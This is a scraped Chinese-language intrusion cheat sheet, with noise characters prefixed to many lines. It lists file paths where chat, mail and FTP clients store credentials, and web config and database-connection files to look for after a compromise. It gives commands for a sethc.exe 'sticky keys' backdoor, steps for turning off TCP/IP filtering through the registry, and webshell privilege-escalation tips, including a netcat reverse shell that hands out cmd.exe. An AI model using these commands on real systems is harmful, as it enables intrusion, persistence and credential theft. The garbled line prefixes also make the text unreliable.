2 y/ \6 b; H6 {# e6 F2 M/ C; G4 Kc:\Program Files\Tencent\qq\User.db
! V" G! _. p1 U  |4 g! p' pc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
' I7 P; D) g$ N4 d, G+ m8 P$ z! kc:\Program Files\Tencent\qq2008\qq.exe
! p; b! R( ]% n4 [! S$ v% i; ~1 s; Wc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
& k: N4 z$ a6 V" s6 U& ~* bC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
: Y6 M/ C0 Q% k% _4 t0 n9 ~2 c2 P6 Yc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
9 g0 ~9 R& f7 C/ ~, R$ n% HC:\Program Files\Foxmal\accounts.cfg
( X8 }2 B- @# G7 M3 N$ `2 eC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
$ r: p! m2 z7 |' R4 A& k1 G4 kC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
# d. @) ~3 @6 fc:\Program Files\Oracle\bin\regsvr32.exe
. Q! _$ V$ [& Fc:\Program Files\腾讯游戏\QQGAME\readme.txt
, G% p2 U8 y9 lc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
+ y" S" y& h, jC:\Program Files\StormII\Storm.exe
9 ]& y; i6 [* ]1 ?8 b4 o. c
3.网站相对路径:

( s# F) r( F% `1 a3 }6 H. W6 y/config.php
../../config.php
' i  n+ j9 O, W) C% U4 c../config.php
" _) F0 P- W0 s: [, a1 X../../../config.php
/config.inc.php
( m/ O* t% p4 T./config.inc.php
../../config.inc.php
8 _. O5 z3 T3 u. H' Z2 L! Z../config.inc.php
../../../config.inc.php
/conn.php
2 e4 i/ O" q$ h* S6 W! o* w./conn.php
../../conn.php
" r. f+ d# [7 x- f3 \0 c../conn.php
../../../conn.php
, @( \7 H& d7 v/ X6 l$ E6 X/conn.asp
' F" t! e: O& G, h! g; s./conn.asp
$ z+ G! `0 p# D! E2 Z' E2 _../../conn.asp
../conn.asp
../../../conn.asp
8 P. R9 m. Z* B4 O/config.inc.php
6 c: g. \1 d3 F: f./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
3 m) Y: V! ?5 {/config/config.php
5 U+ \$ m' H, r, f0 r+ ^4 M  c. f../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
, ]4 d5 o! m7 z../../config/config.inc.php
* `3 W$ A) b( g2 x* {../config/config.inc.php
$ O) M8 i  B' _../../../config/config.inc.php
4 f- k$ f( N, L+ i, D/config/conn.php
./config/conn.php
2 R; N( D+ P# ?, g! e../../config/conn.php
; ^% j' ~" a9 P5 R$ {4 ]  T+ Y) P../config/conn.php
* K* K4 o. l+ |3 L; M6 L3 K1 ~../../../config/conn.php
' x) _% I6 |" t/config/conn.asp
2 g( r6 m. h- P4 Q./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
0 E& q: Q2 F) h( h" C./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/data/config.php
1 u: n' u  o1 T8 h1 r3 N# I8 S/ A../../data/config.php
../data/config.php
* S+ n( [; ]) H- n../../../data/config.php
/data/config.inc.php
./data/config.inc.php
9 b4 |# G) z+ H. c- z../../data/config.inc.php
6 I; q4 A8 i, ~+ Y) r! k4 [1 v4 H../data/config.inc.php
* b# ?1 w, v4 U" V& ]8 f9 h../../../data/config.inc.php
; a, s  E$ S2 i1 d9 z: ~; I) W$ ~+ }/data/conn.php
./data/conn.php
: o* [) k; ~" b0 N! l../../data/conn.php
5 `" C* E7 K0 S6 R+ C../data/conn.php
../../../data/conn.php
- x9 A: u" r5 j/data/conn.asp
7 {8 O; c8 y' m# ]( t% U./data/conn.asp
../../data/conn.asp
../data/conn.asp
1 m! k- h# z' y+ T" k../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
, h, ~0 G! ^! i1 r+ g0 x3 b1 B../../data/config.inc.php
../data/config.inc.php
/ |; K  }, f2 Q+ J) u../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
4 ?+ l! `3 {7 w7 g: j../../../include/config.php
, t$ D8 w4 `" A$ D( N- {( v/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
8 j) R. n4 Q' r9 }$ X" ]$ J: `' g../../../include/config.inc.php
/include/conn.php
./include/conn.php
7 [- ]' z1 r! F0 v( ~../../include/conn.php
- H! M- K% j1 L; K../include/conn.php
& E, u$ R4 ^) V  y+ g: P7 w7 x4 }  ~../../../include/conn.php
/ g" L% E4 R! N. K/include/conn.asp
2 b: _2 E! a: s$ k4 ?, k./include/conn.asp
../../include/conn.asp
' {' p- {' u6 l- X& Q../include/conn.asp
) {/ m* E4 L6 W../../../include/conn.asp
" j2 l7 |' Z% i/ e3 T& z' B9 W7 n/include/config.inc.php
./include/config.inc.php
8 k3 M7 m: ?8 o7 j$ s../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
8 p" j# D3 Q6 Q% W/inc/config.inc.php
./inc/config.inc.php
2 L+ m6 A1 a& ~+ U8 W6 R  |../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
# w! t& U% P( @; a; e3 S/inc/conn.php
; a; n- E5 J, d2 N./inc/conn.php
../../inc/conn.php
" ]1 d' ]( `% x../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
* m+ R% j* ]9 b../../inc/conn.asp
../inc/conn.asp
8 P: M1 X0 |; }../../../inc/conn.asp
/ ]6 J) T; _3 W! A9 A% [3 ]2 J/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
$ T: [% P, ]$ R" Y7 e& X) n../../../inc/config.inc.php
/index.php
0 {9 z1 v7 I2 x6 |3 F/ T/ N6 r2 w./index.php
# v/ y, e' ~" V( S4 N4 ?9 O../../index.php
../index.php
5 Z' B- b8 t' i6 p$ w' z../../../index.php
. L8 U5 f' T3 V) h/ C2 k/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp
$ b+ p. r* T: ~: p& z; l/ V替换SHIFT后门
, L& B+ L* ~  A$ s　attrib c:\windows\system32\sethc.exe -h -r -s

7 z4 W" C7 Z/ z0 x" U　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
5 K8 O6 k2 `/ \3 f4 y8 x: Q
2 G' e. x" U+ Z! q1 L& q) |6 b: g　　del c:\windows\system32\sethc.exe
# t8 f' Z7 R' Z1 L2 R' L
9 t8 C: S: f1 k: T. s3 ?7 j6 O9 S　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
8 p8 R' z$ a7 r, X9 n# C' U+ b: l
9 l3 H1 \- L' j5 w( Q  V　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
# J. }! E2 [7 c6 z( B" J* h+ v) B
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
: Q$ A+ L- P5 M) M- y# Z8 WHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
: c4 k' D/ {; H# V! kHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
" @4 T; N- f; n4 A- H+ Q1 tHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! S! u; t' A9 p" h+ y/ x
分别用
- {' h1 X! R- n. Uregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
7 Y$ J: ]5 g" P; C! t6 Sregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 y% p2 k5 l" ~6 n命令来导出注册表项
) y+ j0 A, |  R  e
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
8 V3 _* N( y& A: }9 o
% d. Y. Y: r' h8 f5 R# D2 i- b再将以上三个文件分别用
regedit -s D:\a.reg
  t* [+ k3 `6 j3 ^6 F% W: Y8 s, mregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
% b, S, r" O4 C. B% h' [cmd路径:
, g! f) C. v% k+ J1 Hc:\windows\temp\cmd.exe
+ c/ I' Z/ Y: N/ b! \nc也在同目录下
例如反弹cmdshell：
& }6 I8 P! g7 }; S+ f: Z* @"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
( J. d6 m2 B* R
6 t8 r( k: f! S/ N' L3 u- W而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
3 Y$ X- z2 ]7 G/ u命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
5 O! Z/ m. h. \5 ]! M+ d! G& u3 e1 S; y却能成功。。
/ d" W4 e8 J8 P1 ^这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功